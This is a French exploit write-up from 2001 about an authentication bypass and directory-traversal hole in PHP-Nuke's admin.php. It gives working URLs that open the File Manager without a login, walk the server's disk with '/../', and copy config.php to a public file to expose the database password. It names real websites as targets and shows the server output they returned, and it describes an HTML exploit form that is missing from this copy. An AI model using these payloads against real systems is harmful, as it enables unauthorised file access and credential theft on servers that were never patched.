################################################################################################ *********************************** * * * Security Hole in PHPNuke * * Admin.php * * by frog-m@n * * * *********************************** ################################################################################################ //////////////////////////////////////////////////// / a) TOC / / ******* / / / / a) Table of Content / / b) Introduction / / c) Description d'admin.php / / d) Expliquation et utilisation de la faille/ / e) Précisions/Astuces / / f) Conclusion / / g) Un outil pour utiliser la faille / / h) Mise à jour / //////////////////////////////////////////////////// b) Introduction *************** De nombreuses failles permettent de voir l'arborescence d'un site. Celle que j'ai trouvée permet non seulement de voir l'arborescence du site, mais aussi celle du disque dur. Elle affiche donc non seulement les dossiers, mais tout les fichiers qu'ils contiennent. Elle affecte de nombreux site, puisqu'elle est basée sur un script php proposé par PHP-Nuke. Hé oui, encore une faille sous PHPNuke, qui, bien qu'elle ne soit pas la plus impressionante, peut s'averer bien utile... Cet article explique comment je l'ai trouvée, et comment l'utiliser (ou du moins comment moi j'ai réussi a l'utiliser). Je prend 4 sites comme modèles. 2 de ces sites possedent la faille, et si elle est utilisée contre eux, cela est dû uniquement à eux-même : ils ont été prévenus. c) Description d'admin.php ************************** Un jour, sur un site ( dont je ne me rapelle pas l'url), j'ai trouvé un demo d'un script offert par PHPNuke : Admin.php . Ce script, après authentification par login et pass de l'administrateur, permet (dans le "File Manager") : - D'uploader un fichier dans le site - De créer un fichier ou un dossier sur le site - De déplacer un fichier ou un dossier déjà sur le site - De renommer un fichier ou un dossier déjà sur le site - De copier un dossier ou un fichier déjà sur le site - De détruire un fichier ou un dossier du site - De visualiser n'importe quel dossier ou fichier du site - D'éditer un fichier se trouvant sur le site. Bref, tout ce qui est utile à un webmaster, ainsi que d'autres options du style : - Ajouter un administrateur de news - Ajouter un utilisateur - Configurer le site - etc... Voici, pour info, la liste des titres proposés (en plus des premiers que j'ai de cité, et dont les 3 derniers) ainsi que leurs urls respectives (ceci est appelé par PHPNuke "Menu D'administration") : Nouvel Article : /admin.php?op=adminStory Affectation des sujets : /admin.php?op=topicsmanager Blocs Gauches : /admin.php?op=lblocks Blocs Droits : /admin.php?op=rblocks Edition Utilisateurs : /admin.php?op=mod_users Editions des Administrateurs : /admin.php?op=mod_authors Bloc Admin : /admin.php?op=ablock Bloc Principal : /admin.php?op=mblock Sondages : /admin.php?op=create HTTP Referants : /admin.php?op=hreferer Sections : /admin.php?op=sections Liens Web : /admin.php?op=links Preferences : /admin.php?op=Configure Ephemerids : /admin.php?op=Ephemerids File Manager (là où se trouve les options qui nous interessent) : /admin.php?op=FileManager Headlines : /admin.php?op=HeadlinesAdmin Sortie : /admin.php?op=logout Pour ceux qui se demande pourquoi ces options, je rappelle que PHPNuke sert (entre autre) à gérer des "news". Voici les urls directement accessible sur la page "File Manager", celle à laquelle on accede grâce à la faille expliquée + tard : Copier, renommer ou déplacer un fichier/dossier : /admin.php?op=move&wdir=/&file=/lefichieroudossier "Touch" : /admin.php?op=touch&wdir=/&touchfile=/lefichieroudossier Supprimer un fichier/dossier : /admin.php?op=del&wdir=/&file=/lefichieroudossier Ouvrir un fichier : /lefichier Editer un fichier : /admin.php?op=edit&wdir=/&file=/lefichier Comme vous l'avez remarqué, je ne donne ici ni l'url pour uploader, ni celle pour créer un dossier ou un fichier, pour la simple et bonne raison que ces options sont dans une
d'action post (on pourra donc en faire des urls par la suite, et c'est là que ça deviendra réellement interessant). On peut donc voir dans les derniers urls 3 valeurs : "op", qui donne la valeur de l'opération à effectuer "wdir", qui a par défaut la valeur /, / signifiant que l'on se trouve dans le dossier de base du site. Cette valeur, toujours pour rester dans le dossier de base, peut être changée par // ou par /./ (remarquez la similitude avec le "." de la commande "CD ." alias "CHDIR ." en DOS, qui nous envois dans le dossier où ont se trouve). et enfin "file", ayant des variantes comme "touchfile", et qui donne le nom du fichier ou dossier sur lequel la commande choisie dans "op" doit être appliquée. On peut aussi voir que tout se passe via admin.php . Voyons maintenant, en affichant la source, les 3 commandes (creer un fichier, créer un dossier et uploader un ficher) dont on a si peu parler jusqu'ici : Créer un dossier :
ce qui donnera, si on appuye sur le button, l'url : /admin.php?mkdirfile=&op=mkdir&wdir=/ On y retrouve donc le fichier admin.php, le "file", avec le nom "mkdirfile", le "op" avec la valeur "mkdir" et le "wdir", toujours avec la valeur /. Créer un fichier :
Ce qui donnera l'url : /admin.php?file=&op=createfile&html=yes&wdir=/ Encore une fois, les "INPUT" file, op et wdir y figurent, ainsi que le admin.php . On y voit aussi un checkbox appelé "html"... vu que cette url ne nous servira a rien, je précise juste que le texte "(html template)" se trouve à côté de ce checkbox. Enfin, la source de l'upload de fichier :
Ce qui nous donnera l'url : /admin.php?wdir=/&userfile= Toujours l'admin.php, le wdir et le file avec la variante "userfile". Vous pouvez taper toutes ces urls à la suite d'un site possedant admin.php, le script vous demandera TOUJOURS un "AdminID" et un Mot de Passe. d) Expliquation et utilisation de la faille ******************************************* Dans la plupart des scripts, qu'ils soient php, asp, jsp, cgi ou autre, la valeur du boutton n'est pas prise en charge dans l'url, si on click dessus. J'ai donc testé sur le site http://deesse.univ-lemans.fr:8108/, qui utilise admin.php les urls en rajoutant le "name" et la valeur des buttons, ce qui donnait cela : Pour créer un dossier : http://deesse.univ-lemans.fr:8108/admin.php?mkdirfile=&op=mkdir&wdir=/&mkdir=Go! Résultat : rien... on me demande toujours un AdminID et un mot de passe... Pour créer un fichier : http://deesse.univ-lemans.fr:8108/admin.php?file=&op=createfile&html=yes&wdir=/&createfile=Go! Résultat : toujours rien :( Pour uploader un fichier : http://deesse.univ-lemans.fr:8108/admin.php?wdir=/&userfile=&upload=Go! Résultat : Une page s'affiche... Une erreur... : Warning: Unable to open '' for reading: No such file or directory in /home0/ramdam/Serveur/htdocs/admin.php on line 1196 Bingoooooo ! =) La page qui s'affiche est le File Manager, avec tout les dossiers et fichiers se trouvant dans le dossier par défaut du site !!! L'erreur nous informe de la place de ce dossier dans le disque dur : /home0/ramdam/Serveur/htdocs/ Toutes les options vues plus haut sont présentes ! Mais aucune ne fonctionne... Toutes demandent toujours un AdminID et un mot de passe... Tant pis, voyont comment se servir de notre découverte. Je sais que si j'enleve la partie de l'url "&upload=Go!", je reviendrai à la demande d'authentification habituelle... donc je n'y touche pas. Commençons par la fin, changeons la valeur de "userfile", pour donner : http://deesse.univ-lemans.fr:8108/admin.php?wdir=/&userfile=test&upload=Go! Rien ne change, à part l'erreur : Warning: Unable to open 'test' for reading: No such file or directory in /home0/ramdam/Serveur/htdocs/admin.php on line 1196 rien de bien interessant... 2eme test en changeant cette valeur, avec l'url : http://deesse.univ-lemans.fr:8108/admin.php?wdir=/&userfile=admin.php&upload=Go! Encore une fois, rien de passionnant, toujours l'erreur : Warning: Unable to create '/home0/ramdam/Serveur/htdocs/': Is a directory in /home0/ramdam/Serveur/htdocs/admin.php on line 1196 Bon, décidemment cette partie ne nous apprendra rien, supprimons-la. Il nous reste donc : http://deesse.univ-lemans.fr:8108/admin.php?wdir=/&upload=Go! "upload" ne doit pas être changé, "admin.php" non plus (lol)... il reste donc "wdir". Sa valeur est / ... et sur la page File Manager, il y a quelques lignes : File Manager Current Directory is: / [ Back to root | Rafraichir ] Uploaded --> / Je change sa valeur, je n'y met rien : http://deesse.univ-lemans.fr:8108/admin.php?wdir=&upload=Go! Rien ne change : "Current Directory" est toujours / . Le Current Directory reste toujours au dossier par défaut du site avec, pour valeur de wdir, / , rien , et comme vu plus haut : /./ et // etc... Je regarde les dossiers qui se trouvent dans /home0/ramdam/Serveur/htdocs/, il y en a 5 : cache, images, manual, themes, upgrades . Je test donc l'url http://deesse.univ-lemans.fr:8108/admin.php?wdir=/images/&upload=Go! Bingo 2 !! =)) Je me trouve bien dans le dossier /home0/ramdam/Serveur/htdocs/images/, bien que l'erreur n'ait pas changée. Je vois par contre ces lignes changées : File Manager Current Directory is: /images/ [ Back to root | Rafraichir ] Uploaded --> /images/ Autre changement, les urls pour les options propres au File Manager ont changées, elles sont du style : /admin.php?op=move&wdir=/images/&file=/images/[nomdefichieroudedossier] . Logique... Bien ! Nous savons donc comment descendre dans l'arborescence du site ! Pour la suite, changeons d'exemple, prenons le site http://vallon-zek.games-fed.com . http://vallon-zek.games-fed.com/admin.php?wdir=/&upload=Go! ... Pas de grands changements, à part l'erreur : Warning: Unable to open '' for reading: No such file or directory in /home/games-fed/vallon-zek/public_html/admin.php on line 532 Encore une fois, rien que de tres logique : ce n'est pas le même HD, ce n'est donc pas la même arborescence =)) Bien, on sait comment descendre dans cette arborescence... maintenant : comment remonter ? C'est le moment de se rappeler ce qui a été dit à propos du DOS : "CD ." permet de rester dans le dossier où on se trouve, wdir=/./ se met dans le dossier par défaut. Hé bien, tantons le coup : "CD.." nous fait remonter au dossier parent... testons l'url : http://vallon-zek.games-fed.com/admin.php?wdir=/../&upload=Go! Bingo 3 !! =))) Il suffit donc de rajouter autant de "/../" que désiré pour remonter l'arborescence du disque dur, sans se limiter au site lui-même. Voilà, on peut se promener dans le HD à sa guise... youpi... e) Précisions/Astuces ********************* Attention : Ce n'est pas parce qu'il y a une erreur que la faille est présente. Pour exemple : http://www.louzdes.com/admin.php?wdir=/&upload=Go! Warning: Unable to open '' for reading: No such file or directory in /home4/ju12826/admin.php on line 226 Warning: SAFE MODE Restriction in effect. The script whose uid is 3780 is not allowed to access /home4/ju12826 owned by uid 0 in /home4/ju12826/admin.php on line 229 Warning: Cannot add header information - headers already sent by (output started at /home4/ju12826/admin.php:226) in /home4/ju12826/admin.php on line 230 http://www.sulaiti.com/admin.php?wdir=/&upload=Go! Warning: Unable to open '' for reading: No such file or directory in /home/sulaiti/public_html/admin.php on line 226 Warning: Cannot add more header information - the header was already sent (header information may be added only before any output is generated from the script - check for text or whitespace outside PHP tags, or calls to functions that output text) in /home/sulaiti/public_html/admin.php on line 230 http://xlr.dyndns.org/admin.php?wdir=/&upload=Go! Warning: Unable to open '' for reading: Permission denied in c:\apache\htdocs\admin.php on line 231 Warning: Cannot add header information - headers already sent by (output started at c:\apache\htdocs\admin.php:231) in c:\apache\htdocs\admin.php on line 235 Des bugs de ce genre sont tout de mêmes assez connus, et appelés failles à cause du fait qu'ils donnent une partie de l'arborescence... par exemple /_vti_bin/shtml.dll qui affichera, si on tape www.poorhost.com/_vti_bin/shtml.dll/skonveut.html l'erreur : Cannot open "C:\Apache\site\skonveut.html" : no such file or folder. Si on tape n'importe quoi comme valeur de wdir, par exemple /admin.php?wdir=1212&upload=Go! On a une erreur qui nous donne la confirmation (etais-ce vraiment necessaire?) que la commande wdir ressemble fortement à la commande CHDIR (CD) sous DOS : Warning: ChDir: No such file or directory (errno 2) in /home0/ramdam/Serveur/htdocs/admin.php on line 1024 et la valeur "Size" du tableau de "FileManager" est "b" pour tout les dossiers/fichiers. Bien sûr les URLS des opérations sont maintenant du style : /admin.php?op=edit&wdir=1212&file=1212article.php . Ayant remarqué que les "op" étaient egaux aux noms des buttons dont la valeur est "Go!", j'ai testé des urls genre /admin.php?rblocks=Go! /admin.php?mod_users=Go! /admin.php?hreferer=Go! (le wdir n'est pas indispensable, car il a une valeur par défaut) mais ça n'a rien donné... Voir uniquement le contenu d'un HD peut ne pas paraitre très utile, mais on peut trouver l'accès de dossiers avec des informations sensibles. Exemple : www.poorhost.com/cache/nuke.sql ou , qui sait, des .pwd, des pass de BD, des editeurs, etc... f) Conclusion ************* Voilà... il y a surement des façons plus pratiques d'utiliser le script admin.php ; comme par exemple pour uploader, envoyer ou créer des fichiers, ou créer des dossier. Mais ceci etant la premiere véritable faille (bug?) que je trouve par moi-même, n'en demandez pas trop :) je sors seulement de la catégorie "script kiddie", et j'ai encore un long chemin à faire dans la sécu informatique. Merci à FLoW, qui a fait un tuto nommé "PHP" et qui m'a inspiré. Si quelqu'un, grâce à ce texte (ou non) arrive à exploiter mieux le script, je lui serais extrêmement reconnaissant de m'en avertir. Thx, bye =) frog-m@n, BAL Team's member. Mailto : leseulfrog@hotmail.com g) Un Outil pour utiliser la faille *********************************** Il vous suffit de copier le code qui suis pour en faire une page html... --------------------------------------- Cut Here !! -------------------------------------------- =====> Exploit Admin.php : "Dir" <===== by frog-m@n

Poor Host :

Directory (e.g. : /../, /images/ , /images/other/ , /../../, etc ) :

 

by frog-m@n

--------------------------------------- Cut Here !! -------------------------------------------- h) Mises à jour *************** Dimance 2 décembre 2001 : En comparant ma faille upload=Go! avec upload=1, j'ai pu trouver facilement comment avoir le pass de la BD. La faille upload=1 se constitue comme ceci : /admin.php?upload=1&file=config.php&file_name=frog.txt&wdir=/images/&userfile=config.php&userfile_name=frog.txt , ce qui a pour effet de mettre le contenu de config.php dans /images/frog.txt . /admin.php?upload=Go!&file=config.php&file_name=frog2.txt&wdir=/images/&userfile=config.php&userfile_name=frog2.txt fonctionne à merveille =) Faille découverte le dimance 4 novembre 2001 par frog-m@n Article achevé le lundi 5 novembre 2001, toujours par frog-m@n =p